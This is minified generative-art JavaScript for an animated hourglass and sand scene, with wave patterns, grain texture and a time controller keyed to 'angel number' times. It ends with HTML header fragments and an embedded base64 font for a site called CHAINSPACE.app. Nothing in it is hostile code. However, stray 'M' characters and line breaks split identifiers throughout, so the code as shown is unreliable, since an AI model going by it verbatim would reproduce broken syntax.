3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAJY4AAwAAAABYBwAAJXZAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cBmA/UGZFZIO8TACQAgqBynyBnT4LghoAATYCJAOEMAQgBZQvB4oQW3BHcUN0w7TOCb9uMgCga1ObW1XngGzuMLNymwimLXm9MziajbB6ouj6z/7//zMS5IihCbUHPL62blsMYUKlkUZmlNDpaXjV6pqVpwAArLeqootw8/KeDNDKuPtGH63RZN7KPFPoRuUolWpLS8u0KitVFYiqXgarref8hssLDW1Lad9g27ZHnXPM/cOs0nQ0wlrYZq5lraVVmi7vVjaqsnO1TrU9ygjttFah0jm2Slya1m952tITLT2Guu499uN/BBcBMQJeaw67OgVxOyG89jGGw2a0CH85JglM
BJ4fUc+vPS/kNUhkhXuSA64B9d/T/xsRnCLzJIrBxGSNZOXktItuq3jvwDg849NRDD7K8wpHuFDMqKBgJISpmTOnAkBDBkB9RMSSSEQPBDIZ0GEhixpDBfDsIk3suWVFLNAEM/r/1+8cWBKqgckgg4Sb8Ci/a7bSKDEZiPnL3qL/9A83pv4OLGLwkL8kRQ6KQC1qoUIMqUnEmon/dvqjVJlpZ6Tqh4pgVCsETSBDRNvb8O63/X1vaArLL9rKtJApQY/r0MF9i+JqLSO8NADSEOmBgkS1LQ+9U/27ju2Z40hkKA1uO7fI47ZgFhUE8IIx/rb0/SWdoWWg7dsKGhNe81mlZst7ng/8v1d7u/P/4BcoeVd2ApaJKoWUQKolUuaJsa9ONbRBtkq6PZJwfjuMQIIgGGt0YoLl164AFG1sDY7CNjShZwYIaI6IMqqRKG5QwCp8yCgtfzLcSFXx9I/LDfzhVdZ3ZlOaEJyEAPO/vB3ouPPhABSCSTRWCrtOLn11mAf0sHeqM
sZiw7yc5orHvgCqH6Drgnywo8xFkgkv47qX1ArpDa3T1c06uw1e8KePnAgPz0q6SUDIBcSVbvlRhwhqBmScjynzr91/bDTLfrMpcpgCCOTALbAZ5nbsGcC2r4iPGl0jy4kEH//X56m7lNXlI64S0I+Z2tETWCHKDRrXB1CgA+YJc4jCCmUO/TVGSAQxjwRC8C/n9fVdd3P0Dpf9LlU25QJrsjrc6gJJdWhynp770PGO+9T1gfn9TR/6AKCDeQdAFI6RiCdHwISYwJSvYh5dL6lvQPUseBmEbSjaQbpbTet8gptU3ecjyl1mHO5DGlD1O2LcuYaS1NmexhSQGDbrrZTj2W8EUDDIwDpPh//APVe5o06WMsWq35Vqlg48uA574Z72iutDcLR9nkvkjua9zE7RlZ47Kb25sHRFcgOeWUcxUK0EhQta1VFd6UqFo1Oyk2qIlovkd+8owEiRSs5PnuUUiEVliEUQiNtJ9RCGeQOCROQzQ80By6EJ49DHA4+7L1mu4IV9tM
9M8b7DqWaFeFdldIzv307+/UNld8HUyYwjhHgBLRmyBzKzgAhjTmMXY4cYhJQkGTm4d0F1PYjeFsgWG1R1FoLNDA9xLN/11L/A78VskrWumTyD2bn2GXzKgk1syQja+tl/djvx9cZYBClMjHJFAUBvft6fS8E2JxegnYPJ4UIkYStm6Ht/hX+rZjLq3x2hmByq6ifoNljbLbo0hU80cqJ7DdzOiUFIJUNFCjBc/C0luw2EADVoP6Hn/m3pwFfu1lY+42f2MgEIfeNctADuNXepXQ0SRSDijxwt9vriYV6Qo4TagABclw/JnrfzdebhmDJ/hdeZf8hEDq67oB2/aUZcHJfA2AJAgEAaOIj5qYDkILAEQcZADviYAZMeZTvxKRYrynpyXhuFwQh1gC4AJwf0BROU8gCl75W83NQI/sbxKvB1AY6n/WDu3iIV0OMMcmlvBxyrtss4/dQ1mwdWupy+DCaYc31N8NDPB2uo95mc314aK67S/3fU96hZQSyq2rHmOwit1hM
